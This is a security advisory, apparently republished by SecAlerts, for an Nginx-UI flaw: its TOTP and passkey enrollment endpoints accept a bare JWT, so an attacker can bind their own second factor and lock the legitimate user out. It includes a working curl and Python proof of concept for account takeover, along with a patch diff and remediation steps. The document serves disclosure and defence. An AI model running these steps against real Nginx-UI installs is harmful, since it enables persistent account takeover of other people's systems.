GHSA-gfrc-g87h-7h5w: High severity go/Nginx-UI vulnerability

Published Oct 15, 2026
·
Updated

Summary

Endpoints that bind a TOTP secret (POST /api/otpenroll) or register a WebAuthn passkey (POST /api/finishpasskeyregister) for the current user require only a valid JWT. There is no current-password re-prompt and the routes are explicitly registered outside the RequireSecureSession() group. With only a stolen JWT, an attacker can attach their own second factor to the victim's account, surviving any subsequent password rotation and locking the legitimate user out.

Details

api/user/router.go:34-39 — note the routes registered before the secure-session group:

go r.GET("/otpsecret", GenerateTOTP) r.POST("/otpenroll", EnrollTOTP) // ← outside RequireSecureSession r.GET("/beginpasskeyregister", BeginPasskeyRegistration) r.POST("/finishpasskeyregister", FinishPasskeyRegistration) // ← outside RequireSecureSession

o := r.Group("", middleware.RequireSecureSession()) { o.GET("/otpreset", ResetOTP) // reset is protected — inconsistent ... }

EnrollTOTP (api/user/otp.go:45-102) only refuses if cUser.EnabledOTP() is already true; for any victim who has never enabled TOTP it accepts an attacker-supplied Secret and Passcode pair (the validator only checks that the passcode is a valid TOTP for the supplied secret — i.e., the attacker proves they know the secret they are submitting):

go if cUser.EnabledOTP() { ... abort ... } var twoFA struct { Secret string json:"secret" binding:"required" Passcode string json:"passcode" binding:"required" } if !cosy.BindAndValid(c, &twoFA) { return } if ok := totp.Validate(twoFA.Passcode, twoFA.Secret); !ok { ... abort ... } ciphertext, := crypto.AesEncrypt([]byte(twoFA.Secret)) u.Where(u.ID.Eq(cUser.ID)).Update(u.OTPSecret, ciphertext)

FinishPasskeyRegistration (api/user/passkey.go) is structurally identical and additionally has no "already enrolled" guard — an attacker can register multiple passkeys to the victim.

Proof of Concept

bash JWT="<victimjwt>"

Step 1 — request a fresh TOTP secret server-side (anyone with JWT can call): $ curl -s -H "Authorization: $JWT" http://127.0.0.1:18080/api/otpsecret {"secret":"5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN", "url":"otpauth://totp/Nginx%20UI:admin?...&secret=5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN"}

Step 2 — compute current 30-s TOTP code (attacker-side): $ python3 -c "import base64,hmac,hashlib,struct,time key=base64.b32decode('5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN') ctr=int(time.time())//30 h=hmac.new(key, struct.pack('>Q',ctr), hashlib.sha1).digest() o=h[-1]&0xF; v=(struct.unpack('>I',h[o:o+4])[0]&0x7fffffff)%1000000 print(f'{v:06d}')" 954084

Step 3 — bind that secret to the victim's account: $ curl -i -X POST -H "Authorization: $JWT" -H "Content-Type: application/json" \ -d '{"secret":"5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN","passcode":"954084"}' \ http://127.0.0.1:18080/api/otpenroll

HTTP/1.1 200 OK {"message":"ok","codes":[{"code":"c77d5-50543"},{"code":"f9284-688c6"},...], "lastviewed":1778338236}

Step 4 — confirm 2FA is now enabled on the victim's account: $ curl -s -H "Authorization: $JWT" http://127.0.0.1:18080/api/2fastatus {"enabled":true,"otpstatus":true,"passkeystatus":false, "recoverycodesgenerated":true,"recoverycodesviewed":true}

Now whenever the legitimate user (or anyone) logs in to that account, the second factor must be supplied from the attacker's authenticator.

The passkey variant follows the same pattern: GET /api/beginpasskeyregister then POST /api/finishpasskeyregister with the attacker's WebAuthn authenticator. The route is also outside RequireSecureSession.

Impact

Persistent account takeover surviving the victim's password reset. Combines trivially with any of: stolen JWT, the RequireSecureSession bypass, the missing-role-model privilege escalation, and the weak recovery-code generation.

Patches

api/user/router.go — move enrolment routes inside the secure-session group:

diff - r.POST("/otpenroll", EnrollTOTP) - r.GET("/beginpasskeyregister", BeginPasskeyRegistration) - r.POST("/finishpasskeyregister", FinishPasskeyRegistration) - o := r.Group("", middleware.RequireSecureSession()) { + o.POST("/otpenroll", EnrollTOTP) + o.GET("/beginpasskeyregister", BeginPasskeyRegistration) + o.POST("/finishpasskeyregister", FinishPasskeyRegistration) o.GET("/otpreset", ResetOTP) ... }

This patch alone is not sufficient — the RequireSecureSession middleware is a no-op for non-OTP users (separate advisory). Both must be patched together. Additionally, require the user's current password in the request body for these mutations (mirroring UpdateCurrentUserPassword at api/user/currentuser.go).

Workarounds

None reliable. Operators should monitor the users table for unexpected OTPSecret values and the passkeys table for unexpected rows.

Credits

Vishal Shukla (@shukla304) and Sechub.dev AI Agent.

Affected Software

1 affected componentFixes available
go/Nginx-UI<1.9.10-0.20260703131214-23d1934099b0
1.9.10-0.20260703131214-23d1934099b0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/Nginx-UI to a version that resolves this vulnerability.

    Fixed in 1.9.10-0.20260703131214-23d1934099b0
  2. Configuration

    Move POST /api/otp_enroll and POST /api/finish_passkey_register inside the RequireSecureSession() group; both enrollment routes are currently registered outside it.

    Nginx UI user API RequireSecureSession route protection = enabled for enrollment routes
  3. Configuration

    Require the user's current password in the request body for POST /api/otp_enroll and POST /api/finish_passkey_register, and patch both mutations together.

    Nginx UI TOTP and WebAuthn enrollment current-password re-prompt = required
  4. Compensating control

    Monitor the users table for unexpected OTPSecret values and the passkeys table for unexpected rows.

Event History

Oct 15, 2026
Advisory Published
via GitHub·08:11 PM
Data Sourced
via GitHub·08:11 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What does an attacker need to exploit this issue?

An attacker needs a valid JWT for the target account. They do not need the current password or a secure-session re-prompt to use the affected enrollment endpoints.

2

Which accounts are susceptible to unauthorized TOTP enrollment?

Accounts for users who have not already enabled TOTP are susceptible to attacker-controlled TOTP enrollment. The TOTP handler rejects enrollment only when TOTP is already enabled for the current user.

3

Will rotating the account password remove an attacker-added factor?

No. An attacker-added TOTP secret or passkey can survive a later password rotation and may allow the attacker to lock the legitimate user out.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203